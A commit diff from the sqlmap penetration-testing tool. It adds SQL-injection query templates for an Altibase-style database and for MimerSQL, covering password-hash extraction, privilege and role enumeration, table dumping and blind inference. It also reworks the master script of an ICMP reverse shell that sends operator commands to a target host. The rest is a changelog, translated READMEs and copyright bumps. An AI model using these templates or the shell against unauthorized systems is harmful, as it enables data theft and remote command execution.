+            <blind query="SELECT PASSWORD FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'" count="SELECT COUNT(PASSWORD) FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'"/>
+        </passwords>
+        <privileges>
+            <inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
+            <blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d'"/>
+        </privileges>
+        <roles>
+            <inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
+            <blind query="SELECT USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(*) FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s'"/>
+        </roles>
+        <statements/>
+        <dbs>
+            <inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
+            <blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID" condition="USER_NAME"/>
+            <blind query="SELECT TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
+            <blind query="SELECT COLUMN_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" query2="SELECT DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND USER_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s"/>
+            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
+            <blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_USERS_ WHERE %s" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="TABLE_NAME" condition2="USER_NAME"/>
+            <blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="TABLE_NAME" condition2="USER_NAME"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
+            <blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
+        </search_column>
+    </dbms>
+
+    <!-- MimerSQL -->
+    <!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
+    <dbms value="MimerSQL">
+        <!-- NOTE: NVARCHAR(4000) causes problems in boolean (e.g. 'Required temporary table row length is 32006, only 32000 is possible') -->
+        <cast query="CAST(%s AS NVARCHAR(1000))"/>
+        <length query="CHAR_LENGTH(%s)"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="OFFSET %d FETCH %d"/>
+        <limitregexp query="\s+OFFSET\s+([\d]+)\s+FETCH\s+([\d]+)" query2="\s+FETCH\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <inference query="UNICODE_CODE(SUBSTRING((%s),%d,1))>%d"/>
+        <banner query="SELECT attribute_value FROM SYSTEM.SERVER_INFO WHERE server_attribute='CATALOG_VERSION_CURRENT'"/>
+        <current_user query="USER()"/>
+        <current_db query="USER()"/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba query="(SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE schema_owner=USER())>0"/>
+        <check_udf/>
+        <!-- Reference: https://download.mimer.com/pub/developer/docs/html_110/Mimer_SQL_Engine_DocSet/App_D_Dic_tables2.html -->
+        <users>
+            <inband query="SELECT user_name FROM SYSTEM.USERS"/>
+            <blind query="SELECT user_name FROM SYSTEM.USERS ORDER BY user_name OFFSET %d FETCH 1" count="SELECT COUNT(user_name) FROM SYSTEM.USERS"/>
+        </users>
+        <passwords/>
+        <privileges>
+            <inband query="SELECT DISTINCT user_name,privilege_type FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID" condition="user_name"/>
+            <blind query="SELECT DISTINCT(privilege_type) FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID WHERE user_name='%s' ORDER BY privilege_type OFFSET %d FETCH 1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID WHERE user_name='%s'"/>
+        </privileges>
+        <roles/>
+        <statements/>
+        <dbs>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
+            <blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY schema_name OFFSET %d FETCH 1" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
+            <blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name OFFSET %d FETCH 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s"/>
+            <blind query="SELECT %s FROM %s ORDER BY %s OFFSET %d FETCH 1" count="SELECT COUNT(*) FROM %s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
 </root>

doc/CHANGELOG.md

@@ -1,3 +1,8 @@
+# Version 1.4 (2020-01-01)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
+
 # Version 1.3 (2019-01-05)
 
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)

doc/translations/README-fa-IR.md

@@ -0,0 +1,84 @@
+# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+
+<div dir=rtl>
+
+
+
+برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند.
+
+
+عکس
+----
+
+
+<div dir=ltr>
+
+
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+
+<div dir=rtl>
+
+برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید.
+
+
+نصب
+----
+
+برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
+
+
+طرز استفاده
+----
+
+
+برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
+
+
+
+<div dir=ltr>
+
+
+```
+    python sqlmap.py -h
+```
+
+    
+    
+    
+<div dir=rtl>
+    
+    
+برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید:
+
+<div dir=ltr>
+
+    
+```
+    python sqlmap.py -hh
+```
+    
+    
+<div dir=rtl>
+    
+
+برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
+
+
+لینک‌ها
+----
+
+
+* خانه: http://sqlmap.org
+* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
+* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
+* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* تویتر: [@sqlmap](https://twitter.com/sqlmap)
+* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-pt-BR.md

@@ -2,7 +2,7 @@
 
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
 
-sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
+sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
 
 Imagens
 ----

extra/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/beep/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/beep/beep.py

@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound
 
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/cloak/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/cloak/cloak.py

@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility
 
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/dbgtool/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/dbgtool/dbgtool.py

@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter
 
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/icmpsh/icmpsh_m.py

@@ -76,60 +76,63 @@ def main(src, dst):
     decoder = ImpactDecoder.IPDecoder()
 
     while True:
-        cmd = ''
+        try:
+            cmd = ''
 
-        # Wait for incoming replies
+            # Wait for incoming replies
-        if sock in select.select([sock], [], [])[0]:
+            if sock in select.select([sock], [], [])[0]:
-            buff = sock.recv(4096)
+                buff = sock.recv(4096)
 
-            if 0 == len(buff):
+                if 0 == len(buff):
-                # Socket remotely closed
+                    # Socket remotely closed
-                sock.close()
+                    sock.close()
-                sys.exit(0)
+                    sys.exit(0)
 
-            # Packet received; decode and display it
+                # Packet received; decode and display it
-            ippacket = decoder.decode(buff)
+                ippacket = decoder.decode(buff)
-            icmppacket = ippacket.child()
+                icmppacket = ippacket.child()
 
-            # If the packet matches, report it to the user
+                # If the packet matches, report it to the user
-            if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
+                if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
-                # Get identifier and sequence number
+                    # Get identifier and sequence number
-                ident = icmppacket.get_icmp_id()
+                    ident = icmppacket.get_icmp_id()
-                seq_id = icmppacket.get_icmp_seq()
+                    seq_id = icmppacket.get_icmp_seq()
-                data = icmppacket.get_data_as_string()
+                    data = icmppacket.get_data_as_string()
 
-                if len(data) > 0:
+                    if len(data) > 0:
-                    sys.stdout.write(data)
+                        sys.stdout.write(data)
 
-                # Parse command from standard input
+                    # Parse command from standard input
-                try:
+                    try:
-                    cmd = sys.stdin.readline()
+                        cmd = sys.stdin.readline()
-                except:
+                    except:
-                    pass
+                        pass
 
-                if cmd == 'exit\n':
+                    if cmd == 'exit\n':
-                    return
+                        return
 
-                # Set sequence number and identifier
+                    # Set sequence number and identifier
-                icmp.set_icmp_id(ident)
+                    icmp.set_icmp_id(ident)
-                icmp.set_icmp_seq(seq_id)
+                    icmp.set_icmp_seq(seq_id)
 
-                # Include the command as data inside the ICMP packet
+                    # Include the command as data inside the ICMP packet
-                icmp.contains(ImpactPacket.Data(cmd))
+                    icmp.contains(ImpactPacket.Data(cmd))
 
-                # Calculate its checksum
+                    # Calculate its checksum
-                icmp.set_icmp_cksum(0)
+                    icmp.set_icmp_cksum(0)
-                icmp.auto_checksum = 1
+                    icmp.auto_checksum = 1
 
-                # Have the IP packet contain the ICMP packet (along with its payload)
+                    # Have the IP packet contain the ICMP packet (along with its payload)
-                ip.contains(icmp)
+                    ip.contains(icmp)
 
-                try:
+                    try:
-                    # Send it to the target host
+                        # Send it to the target host
-                    sock.sendto(ip.get_packet(), (dst, 0))
+                        sock.sendto(ip.get_packet(), (dst, 0))
-                except socket.error as ex:
+                    except socket.error as ex:
-                    sys.stderr.write("'%s'\n" % ex)
+                        sys.stderr.write("'%s'\n" % ex)
-                    sys.stderr.flush()
+                        sys.stderr.flush()
+        except:
+            break
 
 if __name__ == '__main__':
     if len(sys.argv) < 3:

extra/shutils/blanks.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Removes trailing spaces from blank lines inside project files

extra/shutils/drei.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Stress test against Python3

extra/shutils/duplicates.py

@@ -1,6 +1,6 @@
 #!/usr/bin/env python
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Removes duplicate entries in wordlist like files

extra/shutils/junk.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null

extra/shutils/modernize.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # sudo pip install modernize

extra/shutils/pycodestyle.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)

extra/shutils/pydiatra.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs py2diatra on all python files (prerequisite: pip install pydiatra)

extra/shutils/pyflakes.sh

@@ -1,7 +1,7 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
-find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'"
+find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'"

extra/shutils/pypi.sh

@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
